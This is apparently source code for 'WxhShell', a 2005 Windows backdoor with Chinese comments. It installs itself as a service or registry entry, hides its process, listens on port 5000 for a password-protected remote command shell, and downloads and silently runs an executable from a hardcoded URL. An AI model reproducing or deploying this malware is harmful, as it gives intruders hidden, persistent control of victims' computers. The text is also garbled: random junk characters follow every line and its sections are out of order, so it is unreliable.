ULONG InheritedFromUniqueProcessId; c, }VC-
} PROCESS_BASIC_INFORMATION; xggF:El3{
}l_8~/9
PROCNTQSIP NtQueryInformationProcess; n'!x"O7
Au*1-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c~!ETwpHQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .>Fpk7
%{0F.
HANDLE hProcess; 'Qg.D88
PROCESS_BASIC_INFORMATION pbi; &5QvUn
x|g2H.n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8[:G/8VI
if(NULL == hInst ) return 0; Nop61zj
"_:6v64Gx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yh.WTgcW
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'a>D+A:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )-25?B
l/A!ofc#)
if (!NtQueryInformationProcess) return 0; fP
llN8n
qf{HGn_9~1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mv(/M
t
if(!hProcess) return 0; ^grDP*;W
UkC'`NWF*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *T:jR
m",G;VN
CloseHandle(hProcess); N[N4!k )!$
."`||@|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7t+H94KG7
if(hProcess==NULL) return 0; t;_1 /mt
nIqF:6/
HMODULE hMod; A:5P
char procName[255]; X,D ]S@
unsigned long cbNeeded; w{GEWD{&
kB=5=#s
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %Lq}5zB
ypx`!2Q$
CloseHandle(hProcess); olK*uD'`
>S%}HSPKq
if(strstr(procName,"services")) return 1; // 以服务启动 NWj4U3x
!p_l(@f
return 0; // 注册表启动 }sp?@C,Z
} gBZNO! a,d
;Hb"SB
// 主模块 Hro)m"
int StartWxhshell(LPSTR lpCmdLine) 5[~C!t;
{ ^=qV)j
SOCKET wsl; ri4:w_/{,Y
BOOL val=TRUE; qJR8fQ
int port=0; ] ~}~d(
struct sockaddr_in door; >]2 ^5C;
[~?6jnp
if(wscfg.ws_autoins) Install(); bG+Gg*0p
&LQfs4}a,
port=atoi(lpCmdLine); ,2P/[ :
^Zlbs
goZ
if(port<=0) port=wscfg.ws_port; zR?1iV.]
qipS`:TER
WSADATA data; {vur9L
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MPLeqk$;
tZ:fOM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ACF_;4%&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !>Q{co'
door.sin_family = AF_INET; 6mjD@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `0-i>>
door.sin_port = htons(port); jRxzZt4
kqGydGh*"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u3sr"w&
closesocket(wsl); |V^f}5gd
return 1; K]&GSro
} `R*!GHro
jEK{47i v
if(listen(wsl,2) == INVALID_SOCKET) { id]}10
closesocket(wsl); FV%|*JW[;N
return 1; <f0yh"?6VH
} Z 2lX^z
Wxhshell(wsl); )2r_EO@3HP
WSACleanup(); m*v@L4t(1
N5b&tJbM0
return 0; N8X)/W
n% s$!R-\
} 2(R{3E4.
g^^^fKUp )
// 以NT服务方式启动 b)T6%2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~}Z{hs)
{ $=Tq<W*c
DWORD status = 0; <lWBhrz
DWORD specificError = 0xfffffff; ~u r}6T
x_= 3!)
serviceStatus.dwServiceType = SERVICE_WIN32; A64c,Uv
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h9rrkV9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,u14R]
serviceStatus.dwWin32ExitCode = 0; uC2 5pH"
serviceStatus.dwServiceSpecificExitCode = 0; +\J+?jOC4S
serviceStatus.dwCheckPoint = 0; 0- u,AD
serviceStatus.dwWaitHint = 0; CC]q\%y-_
#?~G\Ux0/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Uy~O(Ft
if (hServiceStatusHandle==0) return; Po.izE!C
P+,YWp
status = GetLastError(); #*G}v%Ow/u
if (status!=NO_ERROR) >jc17BJq
{ vQ[ TcV
serviceStatus.dwCurrentState = SERVICE_STOPPED; E%$[*jZ
serviceStatus.dwCheckPoint = 0; ictOCF
serviceStatus.dwWaitHint = 0; _;-b ZH
serviceStatus.dwWin32ExitCode = status; (dym*_J
serviceStatus.dwServiceSpecificExitCode = specificError; ^L'<%_#.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u#0EZ2>#
return; j0S[JpoF
} ZOL#Q+U
\G6V -W
serviceStatus.dwCurrentState = SERVICE_RUNNING; +Xmza8T9
serviceStatus.dwCheckPoint = 0; >9[wjB2?}
serviceStatus.dwWaitHint = 0; b+$-f:mj
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ljk0K3Q6>
} GA.cp*2~
5=;'LWXCJ
// 处理NT服务事件,比如:启动、停止 2F:X:f
VOID WINAPI NTServiceHandler(DWORD fdwControl) z{qn|#}
{ Hlj3z3
switch(fdwControl) M2nZ,I=l
{ 'A/f>W
case SERVICE_CONTROL_STOP: x^
sTGd
serviceStatus.dwWin32ExitCode = 0; lsVg'k/Z!
serviceStatus.dwCurrentState = SERVICE_STOPPED; q{7+N1
"
serviceStatus.dwCheckPoint = 0; 5_SxX@fW%
serviceStatus.dwWaitHint = 0; u)l[*";S
{ &>XSQB(&%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5%" 0
} [O6JVXO>
return; "mcuF]7F
case SERVICE_CONTROL_PAUSE: _61tE
serviceStatus.dwCurrentState = SERVICE_PAUSED;
0|?DA12Z
break; $oZV 54
case SERVICE_CONTROL_CONTINUE: L(BL_
serviceStatus.dwCurrentState = SERVICE_RUNNING; >F/5`=/'h
break; j7C&&G q
case SERVICE_CONTROL_INTERROGATE: g+=f=5I3
break; ,m)YL>k
}; ~uJO6C6A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); i\\,Z
L
} MUp{2_RA
iRL|u~bj
// 标准应用程序主函数 -yY]0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?gS~9jgcd
{ u~27\oj,
~<=wTns!
// 获取操作系统版本 8uB6C0,6?
OsIsNt=GetOsVer(); ,
ins/-3
GetModuleFileName(NULL,ExeFile,MAX_PATH); h8HA^><Xr
M_\)<a(8
// 从命令行安装 Xyw;Nh!!d
if(strpbrk(lpCmdLine,"iI")) Install(); )(`,!s,8)
T2k# "zD
// 下载执行文件 w5mSoKb
if(wscfg.ws_downexe) { ( z.\,M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yd<q4VJR
WinExec(wscfg.ws_filenam,SW_HIDE); HuajdC~
} 1!2,K ot
mQ:5(]v
if(!OsIsNt) { T?8N$J
// 如果时win9x,隐藏进程并且设置为注册表启动 pg4jPuCM
HideProc(); 1Gk'f?dw
StartWxhshell(lpCmdLine); lLuAg ds`
} Fpntd IU
else X6o
iOs
if(StartFromService()) ['@R]Si"!
// 以服务方式启动 efm#:>H
StartServiceCtrlDispatcher(DispatchTable); Qs\!Kk@
else [\)irCDv
// 普通方式启动 gOn^}%4.I
StartWxhshell(lpCmdLine); }I#,o!)Vd
Tv~Ys#
return 0; XNB4KjT
} CGCSfoS9f
I)f54AX
qF4pTQf
4:qM'z
=========================================== P\.1w>X
O%busM$P)/
'U4@Sax,
G+jcR; s
bOdyrynh
%hb!1I
" RhumNP<M
Ec|5'Kz]
#include <stdio.h> r`d.Wy Zj
#include <string.h> OeY+Yt0
#include <windows.h> ?L6ACi`9
#include <winsock2.h> R>`TV(W`9
#include <winsvc.h> r!O4]j_3
#include <urlmon.h> ;O *o
GZNfx8zsY+
#pragma comment (lib, "Ws2_32.lib") Dq~D4|
#pragma comment (lib, "urlmon.lib") !\N|$-M
FLOSdMYdw
#define MAX_USER 100 // 最大客户端连接数 iC Z1ARi
#define BUF_SOCK 200 // sock buffer Z/=HQ8
#define KEY_BUFF 255 // 输入 buffer h%(0|
HXRK<6k$
#define REBOOT 0 // 重启 MNsgD3
#define SHUTDOWN 1 // 关机 Ed&M
ewzZb*\
#define DEF_PORT 5000 // 监听端口 mi$*,fz
j{;IiVHnR
#define REG_LEN 16 // 注册表键长度 /?
HLEX
#define SVC_LEN 80 // NT服务名长度 ryoD 1OE
.g95E<bd
// 从dll定义API FR 1se
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `1)n2<B
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7%Ii:5Bp
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X4:SH>U!
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uOnyU+fZV
+#0,2wR#
// wxhshell配置信息 ttC+`0+H
struct WSCFG { ~:lN("9OI
int ws_port; // 监听端口 }e0)=*;l
char ws_passstr[REG_LEN]; // 口令 \j3XT}
int ws_autoins; // 安装标记, 1=yes 0=no 7Ys\=W1
char ws_regname[REG_LEN]; // 注册表键名 eXZH#K7S#
char ws_svcname[REG_LEN]; // 服务名 A;#GU`
char ws_svcdisp[SVC_LEN]; // 服务显示名 $sR-J'EE!
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dh{sVRA
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $4*k=+wS
int ws_downexe; // 下载执行标记, 1=yes 0=no ]{'lV~fc
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4+_r0
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }@S''AA\
:6X?EbXhK
}; L
BP|
0'.7dzz
// default Wxhshell configuration YkbZ 2J*-
struct WSCFG wscfg={DEF_PORT, (xhV>hsA
"xuhuanlingzhe", dGBVkb4]T
1, >J
No2
"Wxhshell", Af _yb`W?
"Wxhshell", q(cSHHv+
"WxhShell Service", W-ll2b
"Wrsky Windows CmdShell Service", #-Nc1+gu
"Please Input Your Password: ", >@NGX-gp
1, EkE U}2
"http://www.wrsky.com/wxhshell.exe", pUXszPf
"Wxhshell.exe" nXnO]wXC
}; vx8-~Oq{|;
.ITR3]$
// 消息定义模块 nPS:T|*G
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X[up$<